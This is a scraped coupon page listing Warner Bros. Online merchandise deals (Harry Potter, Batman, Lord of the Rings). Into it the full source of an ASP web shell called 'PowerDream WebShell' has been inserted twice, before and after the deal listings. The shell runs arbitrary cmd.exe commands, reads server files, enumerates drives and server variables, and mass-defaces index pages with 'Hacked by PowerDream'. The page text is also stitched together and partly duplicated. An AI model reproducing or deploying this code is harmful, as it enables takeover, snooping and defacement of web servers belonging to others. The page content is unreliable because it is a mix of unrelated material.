Warner Bros. Online coupons, discounts and deals

<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Deal Categories

Apparel - Kids & Teens

Cooking & Kitchenware

Dating & Networking

Department Stores

Diet Plans & Supplements

Education

Electronics & Appliances

Entertainment

Eyewear

Financial & Insurance

Housewares & Furniture

Internet Services

Jewelry & Accessories

Licensed Merchandise

Luggage & Accessories

Music & Movies

Office Supplies & Ink

Warner Bros. Online Coupons & Offers

coupon home > Baby & Maternity > Warner Bros. Online

Merchandise from your WB favorites - Harry Potter, Scooby-Doo, Looney Tunes & more!

Online Shopping Offers

Up to 75% off on clearance items!

Save up to 75% off at the WBshop Clearance Corner!

On-Going Promotion

Use Coupon

Email To Friend!

Best Deals at the Warner Bros Store!

All the official Warner Bros. merchandise - find sale deals here

On-Going Promotion

Use Coupon

Email To Friend!

Lord of the Rings Trilogy on DVD/Blu-Ray!

Get Lord of the Rings Trilogy on DVD/Blu-Ray and Exclusive Shirt! Take $5 off our Exclusive Shirt on all DVD/Blu-ray Orders!

Expires 4/6/2010

Use Coupon

Email To Friend!

Harry Potter Store - Free US Shipping on your $75+ order

Harry Potter scarves, jewelry, watches and more...great gift items for your Harry Potter fan

On-Going Promotion

Use Coupon

Email To Friend!

The Batman Shop - Free Gift with Every Purchase!

All the official Batman collectibles and memorabilia

On-Going Promotion

Use Coupon

Email To Friend!

Get Free Shipping on your $75+ order

All your favorite Warner Bros. apparel and memorabilia!

On-Going Promotion

Use Coupon

Email To Friend!

More From Warner Bros. Online

Wizard of Oz Specialty Items Official Wizard of Oz musical jewelry boxes, globes and figures.

Superman Memorabilia at Warner Bros! Superman lunchboxes, costumes, towels, floormats and much more……complete your collection today

The Scooby-Doo Store All your favorite Scooby collectibles and apparel!

Warner Bros. Online Details...

Warner Bros. Online Coupon Codes Instructions
If a coupon code is presented with offer, enter it where prompted during check-out. If no coupon code is presented, the offer will be applied automatically.

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Direktörler	Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%>	<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & " " Next%>